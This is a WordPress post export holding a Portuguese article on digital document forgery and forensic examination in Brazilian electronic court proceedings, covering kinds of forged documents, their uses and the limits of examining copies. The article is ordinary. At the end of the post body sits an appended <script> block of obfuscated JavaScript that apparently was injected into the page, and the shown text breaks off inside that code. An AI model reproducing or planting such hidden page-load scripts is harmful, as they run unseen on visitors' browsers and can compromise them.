{"id":1492,"date":"2017-11-22T15:06:56","date_gmt":"2017-11-22T17:06:56","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-falsificacao-de-documento-digital-traz-desafios-para-pericia-por-lorenzo-parodi\/"},"modified":"2017-11-22T15:06:56","modified_gmt":"2017-11-22T17:06:56","slug":"artigo-falsificacao-de-documento-digital-traz-desafios-para-pericia-por-lorenzo-parodi","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-falsificacao-de-documento-digital-traz-desafios-para-pericia-por-lorenzo-parodi\/","title":{"rendered":"Artigo &#8211; Falsifica\u00e7\u00e3o de documento digital traz desafios para per\u00edcia \u2013 Por Lorenzo Parodi"},"content":{"rendered":"<div class=\"texto_corpo\">\n<div style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Com o advento dos modernos computadores, dos avan&ccedil;ados softwares de gr&aacute;fica, dos scanners e das impressoras de qualidade (jato de tinta e laser), e, mais em geral, das elevadas capacidades gr&aacute;ficas que estes conjuntos proporcionam, iniciaram a aparecer tamb&eacute;m as falsifica&ccedil;&otilde;es de documentos feitas atrav&eacute;s do aproveitamento dos meios digitais que, hoje, s&atilde;o poderosos, amplamente dispon&iacute;veis e de uso econ&ocirc;mico.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Tais documentos falsificados s&atilde;o utilizados para as mais variadas finalidades, desde cria&ccedil;&atilde;o de empresas, abertura de contas banc&aacute;rias e realiza&ccedil;&atilde;o de opera&ccedil;&otilde;es comerciais ou financeiras (fraudulentas ou n&atilde;o), at&eacute; a produ&ccedil;&atilde;o de provas falsas em processos judiciais. A gama de usos de documentos falsificados digitalmente &eacute; extremamente ampla e abrange m&uacute;ltiplos e fundamentais aspectos de seguran&ccedil;a.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &Eacute; evidente que a cria&ccedil;&atilde;o e difus&atilde;o, nos tribunais brasileiros, a partir da entrada em vigor da Lei 11.419\/2006, dos chamados &ldquo;processos digitais&rdquo;, ou &ldquo;eletr&ocirc;nicos&rdquo;, nos quais toda a documenta&ccedil;&atilde;o encartada, inclusive aquela probat&oacute;ria, &eacute; oferecida no formato digital (ou seja, em preval&ecirc;ncia, c&oacute;pias escaneadas de documentos, convertidas para o formato PDF), estimulou ainda mais a ocorr&ecirc;ncia de falsifica&ccedil;&otilde;es por meios digitais.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &Eacute; necess&aacute;rio definir o que seja um documento digital. Existem essencialmente duas tipologias de documentos digitais. Na primeira trata-se de documentos que foram originados por um computador ou outro sistema eletr&ocirc;nico, sem nunca ter sido impressos ou transferidos em papel (&eacute; o caso de uma fotografia digital, de um documento escrito em Word e transformado em um arquivo PDF, de um logotipo criado num software de gr&aacute;fica e salvo em um arquivo JPG etc.). Na segunda trata-se de documentos que foram convertidos de um formato f&iacute;sico (ou seja, normalmente, um documento em suporte cart&aacute;ceo) para um formato digital atrav&eacute;s de um processo de escaneamento ou fotografia digital ou outro. Podem ainda existir documentos com origem mista, sendo que parte do documento tem origem puramente digital enquanto outra foi escaneada a partir de um suporte f&iacute;sico.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Um documento digital &eacute; composto por bits ou bytes, cada um representando pontos ou pequenos &ldquo;peda&ccedil;os&rdquo; da informa&ccedil;&atilde;o contida no documento. Quanto maior o n&uacute;mero de bits, maior o n&uacute;mero de pontos (ou pixels) representativos de informa&ccedil;&otilde;es, e consequentemente a qualidade ou resolu&ccedil;&atilde;o do documento e sua proximidade\/semelhan&ccedil;a com o eventual original anal&oacute;gico (no caso o documento digital tenha origem em um documento f&iacute;sico digitalizado).<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Na realidade dos tribunais se encontram documentos com qualidade muito vari&aacute;vel, dependendo da origem e disponibilidade. Um documento original, escaneado profissionalmente por um advogado e encaminhado para protocolo em um processo eletr&ocirc;nico, ter&aacute; provavelmente uma qualidade boa. Outros casos, como o de cheques arquivados pelos bancos (atrav&eacute;s do processo de &ldquo;microfilmagem digital&rdquo;), podem ter qualidade extremamente baixa, podendo chegar a dificultar sobremaneira qualquer an&aacute;lise. Oportuno se atentar, ainda, ao caso (nada incomum) de documentos que t&ecirc;m baixa qualidade &ldquo;intencional&rdquo;, para disfar&ccedil;ar eventuais adultera&ccedil;&otilde;es ou falsifica&ccedil;&otilde;es.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &Eacute; evidente que quanto mais alta for a qualidade ou resolu&ccedil;&atilde;o do documento digital, maiores ser&atilde;o as chances de conseguir fazer uma per&iacute;cia consistente.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Podemos, ainda, dividir os documentos em duas outras grandes categorias, aqueles onde h&aacute; algum grafismo manual (assinaturas, texto escrito a m&atilde;o, formul&aacute;rios com preenchimentos manuais etc.) e aqueles que n&atilde;o possuem esta caracter&iacute;stica (e-mails, notas fiscais automatizadas, extratos banc&aacute;rios etc.) e que, portanto, n&atilde;o est&atilde;o sujeitos a aplica&ccedil;&atilde;o de t&eacute;cnicas grafosc&oacute;picas, mas somente de outros tipos de an&aacute;lise.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Um breve resumo dos casos mais comuns de uso de documentos falsificados digitalmente (todos com poss&iacute;veis consequ&ecirc;ncias, diretas ou indiretas, em processos judiciais) pode ser o seguinte:<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 1) Prover provas falsas em processos judiciais das mais variadas naturezas (trabalhistas, c&iacute;veis, criminais, administrativos, tribut&aacute;rios, societ&aacute;rios, sucess&oacute;rios, familiares etc.), tanto no que diz respeito ao assunto supostamente comprovado pelo teor do documento falsificado quanto no que diz respeito a sua origem, autoria e data (que tamb&eacute;m pode ser falsificada).<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 2) Integrar contratos comerciais ou transa&ccedil;&otilde;es de diversas naturezas (inclusive financiamentos, compras\/vendas, assinatura de servi&ccedil;os, loca&ccedil;&otilde;es etc.).<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 3) Ser meio de identifica&ccedil;&atilde;o (&ldquo;originais&rdquo; ou c&oacute;pias de documentos de identidade ou de certid&otilde;es de nascimento ou casamento) para os mais diversos fins.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 4) Formar a base para conseguir outros documentos aut&ecirc;nticos ou autoriza&ccedil;&otilde;es ou ainda servi&ccedil;os p&uacute;blicos de diversas naturezas.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 5) Homologar testamentos ou outros procedimentos inerentes a heran&ccedil;as e sucess&otilde;es. Pensem, por exemplo, nas consequ&ecirc;ncias da comprova&ccedil;&atilde;o (atrav&eacute;s da falsifica&ccedil;&atilde;o de uma autentica&ccedil;&atilde;o com indica&ccedil;&atilde;o da data) da assinatura de algum contrato ou doa&ccedil;&atilde;o ou, ainda, testamento, por parte de uma determinada pessoa em data anterior &agrave; de seu falecimento.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 6) Serem utilizados para conseguir benef&iacute;cios, direitos, acesso a recursos, bens ou servi&ccedil;os ou, ainda para participar de licita&ccedil;&otilde;es e concorr&ecirc;ncias.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Tais documentos podem ter naturezas muito diferentes, dependendo do uso pretendido, mas todos s&atilde;o passiveis de avalia&ccedil;&atilde;o e per&iacute;cia, mesmo sendo em formato digital. Alguns exemplos, entre muitos outros poss&iacute;veis, de documentos potencialmente falsificados por meios digitais e encontrados nos casos e situa&ccedil;&otilde;es acima descritos, s&atilde;o:<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 1) Contratos e acordos em original ou c&oacute;pia, autenticada ou n&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 2) Testamentos e doa&ccedil;&otilde;es em original ou c&oacute;pia, autenticada ou n&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 3) Recibos, Promiss&oacute;rias ou Declara&ccedil;&otilde;es em original ou c&oacute;pia, autenticada ou n&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp; 4) Documentos de identidade e afins em &ldquo;original&rdquo; ou c&oacute;pia, autenticada ou n&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 5) E-mails e mensagens\/comunica&ccedil;&otilde;es em geral.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 6) Comprovantes de v&aacute;rios tipos (endere&ccedil;o, renda, extratos etc.) e ingressos, em original ou c&oacute;pias, autenticadas ou n&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 7) Atos p&uacute;blicos (certid&otilde;es, procura&ccedil;&otilde;es, decis&otilde;es, alvar&aacute;s etc.) em original ou c&oacute;pia, autenticada ou n&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 8) C&eacute;dulas de dinheiro e folhas de cheques.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 9) Cartas em original ou c&oacute;pia, autenticada ou n&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; 10) Receitas e certificados m&eacute;dicos em original ou c&oacute;pia, autenticada ou n&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Um documento desta natureza, usado como prova em um processo, caso n&atilde;o seja rapidamente identificada sua falsidade, pode facilmente dar origem a graves injusti&ccedil;as e a decis&otilde;es equivocadas, por serem baseadas em um documento falso.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Por todas estas raz&otilde;es, &eacute; de primordial import&acirc;ncia adquirir a capacidade de identificar ind&iacute;cios de falsifica&ccedil;&atilde;o, de forma a poder submeter os documentos suspeitos &agrave; apropriada per&iacute;cia t&eacute;cnica, antes que estes possam causar danos irrevers&iacute;veis. Isso, inclusive, &agrave; luz dos limitados prazos e modalidades previstas nos diplomas legais para a argui&ccedil;&atilde;o de falsidade (tanto em processos c&iacute;veis quando em processos penais).<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Trabalhar com documentos em c&oacute;pia ou em formato digital n&atilde;o permite fazer uma per&iacute;cia conclusiva quanto &agrave; autenticidade. Na melhor hip&oacute;tese, ser&aacute; poss&iacute;vel constatar a aus&ecirc;ncia de ind&iacute;cios de falsidade. Por outro lado, quanto existirem elementos suficientes e incontest&aacute;veis, ser&aacute; poss&iacute;vel a comprova&ccedil;&atilde;o conclusiva de uma eventual falsidade.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Por esta raz&atilde;o pode ser errado afirmar, sempre, a impossibilidade de se fazer uma per&iacute;cia quando n&atilde;o presentes os documentos originais. Isso porque &eacute; perfeitamente poss&iacute;vel que as c&oacute;pias presentes (digitais ou n&atilde;o) sejam suficientes para comprovar a falsidade de, ao menos, um elemento (o que viciaria de falsidade o documento como um todo) e, assim, seja poss&iacute;vel entregar um laudo pericial consistente e &uacute;til.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Importante lembrar que meios digitais podem ser usados tamb&eacute;m para falsificar documentos f&iacute;sicos (em papel), contando com a qualidade que pode ser alcan&ccedil;ada pelas modernas impressoras, as quais, muitas vezes, rendem dif&iacute;cil a distin&ccedil;&atilde;o, a olho nu, entre uma c&oacute;pia e um original, e tamb&eacute;m a possibilidade de falsificar autentica&ccedil;&otilde;es de c&oacute;pias e reconhecimentos de assinaturas.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; A frequente aus&ecirc;ncia ou dificuldade em conseguir os originais dos documentos digitais apresentados em opera&ccedil;&otilde;es, transa&ccedil;&otilde;es ou processos, pode efetivamente limitar o alcance de muitas an&aacute;lises mas, em muitos casos, n&atilde;o &eacute; um fator cr&iacute;tico para se poder chegar a uma consistente valida&ccedil;&atilde;o negativa (ou seja, comprova&ccedil;&atilde;o de falsidade). De fato, n&atilde;o &eacute; incomum que, uma vez solicitados os originais de determinados documentos apresentados num processo digital, sejam entregues c&oacute;pias impressas alegando serem os &ldquo;originais&rdquo; digitalizados.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Com rela&ccedil;&atilde;o &agrave; responsabilidade do advogado em casos de juntada de documentos falsos num processo, &eacute; oportuno mencionar o artigo 6&ordm; do C&oacute;digo de &Eacute;tica da OAB que determina que &ldquo;&Eacute; defeso ao advogado expor os fatos em Ju&iacute;zo falseando deliberadamente a verdade ou estribando-se na m&aacute;-f&eacute;.&rdquo; Refor&ccedil;am tal orienta&ccedil;&atilde;o os artigos 2&ordm; (inciso II), 3&ordm; e 20&ordm; do mesmo C&oacute;digo, e neste sentido vai tamb&eacute;m a seguinte ementa: &ldquo;Na hip&oacute;tese de falsidade dos documentos originais, a responsabilidade do advogado somente ocorre em caso de coautoria ou de utiliza&ccedil;&atilde;o nos autos, ciente de que os documentos s&atilde;o falsos ou, ainda, se a falsifica&ccedil;&atilde;o for percept&iacute;vel sem a necessidade de per&iacute;cia.&rdquo; (OAB\/SP Proc. E-4.245\/2013 &#8211; v.m., em 16\/05\/2013, do parecer e ementa do Rel. Dr. F&aacute;bio De Souza Ramacciotti com declara&ccedil;&atilde;o de voto do revisor Dr. Cl&aacute;udio Felippe Zalaf &#8211; Presidente Dr. Carlos Jos&eacute; Santos Da Silva).<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; De grande import&acirc;ncia, por sua vez, &eacute; a possibilidade de ter acesso &agrave; documentos certamente aut&ecirc;nticos e &uacute;teis para fins de compara&ccedil;&atilde;o. Este, na opini&atilde;o de quem escreve, &eacute; realmente um fator cr&iacute;tico para a efetividade e alcance de muitas an&aacute;lises e per&iacute;cias em documentos em formato digital.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &Eacute; meu entendimento que quem analise um documento digital, na busca da &ldquo;verdade real&rdquo; e quando necess&aacute;rio, deva estar pronto e h&aacute;bil para realizar algum tipo de atividade investigativa com o intuito de conseguir juntar todas as informa&ccedil;&otilde;es e os elementos necess&aacute;rios para realizar sua tarefa [1].<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Por tudo quanto acima, a posi&ccedil;&atilde;o que, por vezes, se encontra, por parte de alguns peritos que se recusam a fazer per&iacute;cias em c&oacute;pias ou documentos digitais, deveria ser melhor avaliada caso a caso, sendo que, a meu ver, faz sentido somente quando o objetivo for atestar a autenticidade de tais documentos, mas pode n&atilde;o fazer sentido se for suficiente atestar sua falsidade.<\/p><\/div>\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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